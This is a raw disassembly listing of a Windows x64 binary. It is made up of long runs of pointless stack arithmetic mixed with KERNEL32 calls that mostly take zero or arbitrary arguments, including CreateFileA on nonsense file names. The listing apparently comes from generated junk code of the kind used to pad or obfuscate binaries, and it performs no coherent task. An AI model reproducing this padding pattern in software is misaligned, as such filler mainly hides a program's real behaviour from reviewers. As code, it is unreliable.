xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x94f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x101c], ax
lea rax, [rsp + 0x81]
mov qword [rsp + 0xbbf8], rax
mov rax, qword [rsp + 0xb8f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa460]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12b], al
mov rax, qword [rsp + 0x9de0]
mov rax, qword [rax]
mov qword [rsp + 0xbc00], rax
mov eax, dword [rsp + 0x47f4]
imul eax, dword [rsp + 0x489c]
mov rcx, qword [rsp + 0x90a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x95d0]
mov rax, qword [rax]
mov qword [rsp + 0xbc08], rax
mov rax, qword [rsp + 0x8c78]
mov rcx, qword [rsp + 0xa050]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4a3c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbc10], rax
mov rax, qword [rsp + 0x99b8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e6062]
sub eax, ecx
mov rcx, qword [rsp + 0xb228]
mov byte [rcx], al
mov rax, qword [rsp + 0xa370]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov byte [0x1401e6087], al
mov rcx, qword [rsp + 0xb400]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x49a8], eax
movzx eax, word [rsp + 0xea0]
mov word [rsp + 0x10a4], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x1a5d
mov r8d, 0x2807
mov edx, 0x94
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4a74], eax
movzx eax, word [rsp + 0x1084]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa6d0]
mov word [rcx], ax
lea rax, [rsp + 0x53]
mov qword [rsp + 0xbc18], rax
mov rax, qword [rsp + 0xa960]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77]
add eax, ecx
mov rcx, qword [rsp + 0x98f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9458]
mov rcx, qword [rsp + 0xb8a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x489c], eax
mov eax, dword [rsp + 0x4970]
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0xae38]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaac0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x451c], eax
lea rdx, [rsp + 0x48f4]
mov rcx, qword [rsp + 0xa780]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a60], eax
mov rax, qword [rsp + 0xab90]
mov rax, qword [rax]
mov qword [rsp + 0xbc20], rax
lea rax, [rsp + 0xcc]
mov qword [0x1401e78e8], rax
movzx eax, word [rsp + 0xc5c]
movzx ecx, word [rsp + 0xc28]
add eax, ecx
mov rcx, qword [rsp + 0xa0e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa560]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe9c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4a7c], eax
lea rax, [rsp + 0xdc8]
mov qword [rsp + 0xbc28], rax
mov rax, qword [rsp + 0x9f80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99c8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xa1], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
lea rax, [rsp + 0x45ec]
mov qword [rsp + 0xbc30], rax
mov rax, qword [rsp + 0xb8a8]
mov eax, dword [rax]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa860]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb5c0]
mov qword [rsp + 0xbc38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc38]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb818], rax
lea rax, [rsp + 0x9ce8]
mov qword [rsp + 0xbc40], rax
mov rax, qword [rsp + 0xa400]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
shl eax, cl
mov byte [0x1401e746a], al
movsx eax, word [rsp + 0xb84]
movsx ecx, word [rsp + 0xf34]
and eax, ecx
mov word [rsp + 0xf7c], ax
lea rax, [rsp + 0x81]
mov qword [rsp + 0xbc48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4430], eax
movsx eax, word [0x1401e7878]
movsx ecx, word [rsp + 0xf8c]
sub eax, ecx
mov word [rsp + 0xfb0], ax
mov rax, qword [rsp + 0x93c0]
movzx eax, word [rax]
mov word [rsp + 0x10a8], ax
mov rax, qword [rsp + 0x9ff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f38]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb0b8]
mov rcx, qword [rsp + 0x9f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4394], eax
mov rcx, qword [rsp + 0xaf30]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4274], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xad58]
mov rax, qword [rax]
mov qword [rsp + 0xbc50], rax
mov rax, qword [rsp + 0x9b40]
mov ecx, dword [0x1401e6018]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a28], eax
movsx eax, byte [rsp + 0x102]
movsx ecx, byte [rsp + 0xf8]
sub eax, ecx
mov byte [0x1401e608a], al
movzx eax, word [rsp + 0x1090]
mov word [rsp + 0x10ac], ax
mov rax, qword [rsp + 0x9e30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9738]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xae08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x153]
movsx ecx, byte [rsp + 0xde]
sub eax, ecx
mov byte [rsp + 0x142], al
lea rdx, [rsp + 0x28228]
mov rcx, qword [rsp + 0x9e90]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4510], eax
lea rax, [rsp + 0x13b]
mov qword [rsp + 0xbc58], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4940], eax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0xb3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4894], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xbc60], rax
lea rax, [rsp + 0x48a8]
mov qword [rsp + 0xbc68], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0xa118]
movzx ecx, al
mov rax, qword [rsp + 0xa700]
shl rax, cl
mov qword [rsp + 0xa2c8], rax
mov rax, qword [rsp + 0xa9d0]
mov rcx, qword [rsp + 0x9cc8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9d10]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd3c]
movzx ecx, word [rsp + 0xd6c]
or eax, ecx
mov rcx, qword [0x1401e76b0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8cf8], rax
movzx eax, word [rsp + 0x1014]
mov word [rsp + 0x10b0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
movzx eax, byte [0x1401e602f]
mov rcx, qword [rsp + 0x9868]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0xaca0]
movzx eax, byte [rax]
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0xa590]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa1e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf20], ax
mov rax, qword [rsp + 0x9ee8]
mov eax, dword [rax]
mov dword [rsp + 0x4a80], eax
mov eax, dword [rsp + 0x45b4]
mov ecx, dword [rsp + 0x484c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43f8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9574
mov rcx, qword [rsp + 0xbad8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4a84], eax
movzx ecx, word [rsp + 0xc44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfc8], ax
movzx ecx, word [rsp + 0xff8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b4], ax
mov rax, qword [rsp + 0x9cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb080]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb278]
mov qword [rcx], rax
mov rax, qword [0x1401e6008]
mov qword [rsp + 0xbc70], rax
movzx ecx, word [rsp + 0xc7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc44], ax
lea rax, [rsp + 0x10a0]
mov qword [0x1401e78f0], rax
mov rax, qword [rsp + 0xa400]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x153]
sub eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x93c0]
movzx eax, word [rax]
mov word [rsp + 0x10b8], ax
lea rdx, [rsp + 0x4a88]
mov rcx, qword [rsp + 0xb798]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4694], eax
movsx eax, byte [0x1401e746f]
mov rcx, qword [rsp + 0x9468]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9af0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x482c], eax
mov edx, 0x2ee8ad
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x438c], eax
movzx eax, byte [rsp + 0xda]
movzx ecx, byte [rsp + 0x89]
and eax, ecx
mov rcx, qword [rsp + 0xaba0]
mov byte [rcx], al
mov eax, dword [section..data]
mov dword [rsp + 0x4a8c], eax
mov rax, qword [rsp + 0xb8e8]
mov rcx, qword [rsp + 0xb2e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x484c], eax
mov rax, qword [rsp + 0xb508]
mov qword [rsp + 0xbc78], rax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [0x1401e7420]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb538], rax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe9c]
sub eax, ecx
mov word [0x1401e607c], ax
movzx eax, word [rsp + 0xbe4]
movzx ecx, word [rsp + 0xfcc]
add eax, ecx
mov rcx, qword [rsp + 0x9b60]
mov word [rcx], ax
lea rcx, [rsp + 0x26ae8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x1401e7830]
movzx eax, byte [rax]
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0xa038]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x67]
or eax, ecx
mov byte [rsp + 0x5f], al
movzx eax, word [rsp + 0xcd0]
mov word [rsp + 0x10bc], ax
mov edx, 0x849
mov rcx, qword [rsp + 0xadd0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4924], eax
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0xb270]
mov qword [rsp + 0xbc80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc80]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb868], rax
mov eax, dword [rsp + 0x4a78]
mov rcx, qword [rsp + 0x9150]
mov qword [rsp + 0xbc88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc88]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xb2e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbc70]
mov qword [rsp + 0xbc90], rax
mov rax, qword [rsp + 0x9b80]
mov ecx, dword [rsp + 0x4588]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb058]
movzx eax, word [rax]
mov word [0x1401e78f8], ax
movzx eax, word [rsp + 0xe64]
mov word [rsp + 0x10c0], ax
movsx eax, byte [rsp + 0x107]
movsx ecx, byte [0x1401e605b]
and eax, ecx
mov byte [rsp + 0xd5], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4638], eax
lea rax, [rsp + 0xae]
mov qword [rsp + 0xbc98], rax
movzx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0xaa38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10f], al
mov rax, qword [rsp + 0xab90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9210]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9420]
mov eax, dword [rax]
mov dword [rsp + 0x4a90], eax
mov rax, qword [rsp + 0xb2f0]
mov rcx, qword [rsp + 0x9050]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbbc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa978]
mov eax, dword [rax]
mov dword [rsp + 0x4a94], eax
mov rax, qword [rsp + 0x9678]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb8], al
movsx eax, byte [rsp + 0xfa]
movsx ecx, byte [rsp + 0x116]
add eax, ecx
mov rcx, qword [0x1401e7618]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:RewindsMartyrylayoutChutneyEnlarge
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbca0], rax
mov rcx, qword [rsp + 0xbb80]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4578], eax
movzx eax, word [rsp + 0xbd8]
movzx ecx, word [rsp + 0xec0]
imul eax, ecx
mov rcx, qword [rsp + 0xb948]
mov word [rcx], ax
lea rax, [rsp + 0x1028]
mov qword [rsp + 0xbca8], rax
mov rax, qword [rsp + 0xb280]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf4c]
and eax, ecx
mov word [rsp + 0xfa8], ax
mov eax, dword [rsp + 0x4944]
mov dword [rsp + 0x4a98], eax
mov rax, qword [rsp + 0xae70]
mov rcx, qword [rsp + 0x9d78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9858], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4368], eax
mov rax, qword [rsp + 0x96d8]
mov rcx, qword [rsp + 0x92a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa28], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xbcb0], rax
lea rax, [0x1401e6014]
mov qword [rsp + 0xbcb8], rax
mov dword [rsp + 0x20], 0x19dc
mov r9d, 0x3634
mov r8d, 0x15ae
mov edx, 0x9ad
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x435c], eax
mov rax, qword [rsp + 0xb190]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9440]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9818]
mov word [rcx], ax
lea rax, [rsp + 0x84]
mov qword [0x1401e7900], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [rsp + 0x20], 0x277e
mov r9d, 0x34e
mov r8d, 0x1282
mov edx, 0x15e
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a9c], eax
mov rax, qword [rsp + 0xa880]
movzx eax, word [rax]
mov word [rsp + 0x10c4], ax
lea rcx, [rsp + 0x26908]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x1401e76d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe84]
shl eax, cl
mov rcx, qword [rsp + 0xb0c0]
mov word [rcx], ax
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0x9df8]
movzx eax, byte [rax]
mov byte [rsp + 0x15f], al
mov eax, dword [rsp + 0x43e0]
mov ecx, dword [rsp + 0x4920]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x494c], eax
mov rax, qword [rsp + 0x9f08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb4a0]
mov qword [rsp + 0xbcc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbcc0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x473c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0x9ff0]
mov rax, qword [rax]
mov qword [rsp + 0xbcc8], rax
mov rax, qword [rsp + 0xb768]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa680], rax
lea rax, [rsp + 0x1030]
mov qword [rsp + 0xbcd0], rax
mov rax, qword [rsp + 0xb058]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e6074], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4aa0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
movzx ecx, word [rsp + 0xe8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf18], ax
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4aa4], eax
movzx eax, byte [rsp + 0x97]
mov rcx, qword [0x1401e7518]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0x9fe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
sub eax, ecx
mov rcx, qword [rsp + 0xa928]
mov byte [rcx], al
lea rax, [rsp + 0x128]
mov qword [rsp + 0xbcd8], rax
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0xba08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb7f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x47a4]
mov dword [rsp + 0x4aa8], eax
mov eax, dword [rsp + 0x47bc]
mov ecx, dword [rsp + 0x4380]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov dword [rcx], eax
mov rax, qword [0x1401e6008]
mov rcx, qword [rsp + 0xa890]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6d8], rax
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0xa398]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7560], ax
movsx eax, byte [0x1401e6072]
movsx ecx, byte [rsp + 0x102]
and eax, ecx
mov rcx, qword [rsp + 0xa240]
mov byte [rcx], al
lea rax, [rsp + 0xbc0]
mov qword [rsp + 0xbce0], rax
movzx eax, byte [rsp + 0xa6]
movzx ecx, byte [rsp + 0x70]
sub eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
mov rax, qword [0x1401e7448]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbab0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xaab8]
mov byte [rcx], al
lea rax, [rsp + 0x43b0]
mov qword [rsp + 0xbce8], rax
mov rcx, qword [rsp + 0xb3f0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x47cc], eax
mov eax, dword [rsp + 0x48ac]
mov ecx, dword [rsp + 0x4600]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9108]
mov dword [rcx], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0xbcf0], rax
mov rax, qword [rsp + 0xb240]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa160]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9948]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x706
mov r9d, 0x3b09
mov r8d, 0x1aa2
mov edx, 0x3f93
mov rcx, qword [rsp + 0xaa80]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4aac], eax
movzx eax, word [rsp + 0xe74]
movzx ecx, word [rsp + 0xc10]
shl eax, cl
mov word [0x1401e6108], ax
mov rax, qword [rsp + 0xb5e8]
movzx eax, byte [rax]
mov byte [rsp + 0x161], al
movsx eax, word [rsp + 0xd98]
movsx ecx, word [rsp + 0xde8]
sub eax, ecx
mov rcx, qword [rsp + 0xa800]
mov word [rcx], ax
movzx eax, byte [rsp + 0xd3]
movzx ecx, byte [0x1401e602a]
and eax, ecx
mov rcx, qword [rsp + 0xb318]
mov byte [rcx], al
movzx eax, word [rsp + 0xd10]
mov word [rsp + 0x10c8], ax
mov eax, dword [rsp + 0x463c]
mov ecx, dword [rsp + 0x49ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb068]
mov dword [rcx], eax
lea rax, [rsp + 0xa098]
mov qword [rsp + 0xbcf8], rax
mov eax, dword [rsp + 0x47b0]
mov ecx, dword [0x1401e6014]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x484c], eax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0x9448]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa9d0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xd90]
movsx ecx, word [rsp + 0x104c]
add eax, ecx
mov word [0x1401e610c], ax
movzx eax, word [rsp + 0xd50]
mov word [rsp + 0x10cc], ax
movzx ecx, word [rsp + 0xfc0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xff8], ax
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0xbbf8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf0], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9b10], rax
movzx eax, word [rsp + 0xcf8]
mov word [rsp + 0x10d0], ax
mov rax, qword [rsp + 0xa9a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xde]
sub eax, ecx
mov rcx, qword [rsp + 0xb758]
mov byte [rcx], al
movzx ecx, word [rsp + 0xdb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10d4], ax
mov rax, qword [rsp + 0x9ac0]
mov ecx, dword [rsp + 0x4404]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43c4], eax
mov eax, dword [rsp + 0x443c]
mov dword [rsp + 0x4ab0], eax
mov rax, qword [rsp + 0x94f0]
mov rcx, qword [rsp + 0x9a58]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa9d0]
mov qword [rcx], rax
lea rax, [rsp + 0xa580]
mov qword [rsp + 0xbd00], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xa0a0]
movzx eax, word [rax]
mov rcx, qword [0x1401e75e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e7840], ax
movzx eax, byte [rsp + 0xbc]
movzx ecx, byte [rsp + 0x133]
xor eax, ecx
mov byte [rsp + 0x147], al
movsx eax, byte [rsp + 0xff]
movsx ecx, byte [rsp + 0x143]
shl eax, cl
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0xefc]
mov qword [rsp + 0xbd08], rax
movsx eax, byte [rsp + 0xc0]
movsx ecx, byte [rsp + 0x5c]
or eax, ecx
mov byte [rsp + 0x135], al
lea rax, [rsp + 0x9f60]
mov qword [rsp + 0xbd10], rax
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0xa6c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov eax, dword [rsp + 0x4714]
mov dword [rsp + 0x4ab4], eax
mov rax, qword [rsp + 0xaa88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa300]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb6d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7490], ax
mov rax, qword [rsp + 0xb218]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9b50]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xba0], ax
lea rax, [rsp + 0x126]
mov qword [rsp + 0xbd18], rax
movzx eax, byte [rsp + 0xab]
mov rcx, qword [rsp + 0x9f80]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x76], al
lea rax, [rsp + 0xfa]
mov qword [rsp + 0xbd20], rax
mov rax, qword [rsp + 0x9048]
mov rcx, qword [rsp + 0xb298]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa558]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb4a0]
mov eax, dword [rax]
mov ecx, dword [0x1401e741c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a78]
mov eax, dword [rax]
mov dword [rsp + 0x4ab8], eax
mov rax, qword [rsp + 0xb250]
mov rcx, qword [rsp + 0x9610]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9598], rax
lea rax, [0x1401e601c]
mov qword [0x1401e7908], rax
movzx eax, word [rsp + 0xbf0]
mov word [rsp + 0x10d8], ax
mov rcx, qword [rsp + 0xa638]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0xbb38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
add eax, ecx
mov word [rsp + 0xcf0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:Chargedconnectivesphoned
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbd28], rax
mov rax, qword [rsp + 0xb228]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7500]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov byte [rcx], al
mov rax, qword [rsp + 0xa0e0]
movzx eax, word [rax]
mov word [rsp + 0x10dc], ax
mov rax, qword [rsp + 0xadd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x488c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9780]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xa9d8]
mov rax, qword [rax]
mov qword [rsp + 0xbd30], rax
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0xb3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb248]
mov dword [rcx], eax
lea rax, [rsp + 0xac38]
mov qword [rsp + 0xbd38], rax
movzx ecx, word [rsp + 0xed4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfdc], ax
mov rax, qword [rsp + 0xa588]
movzx eax, byte [rax]
mov byte [0x1401e74c3], al
mov rax, qword [0x1401e7830]
movsx eax, byte [rax]
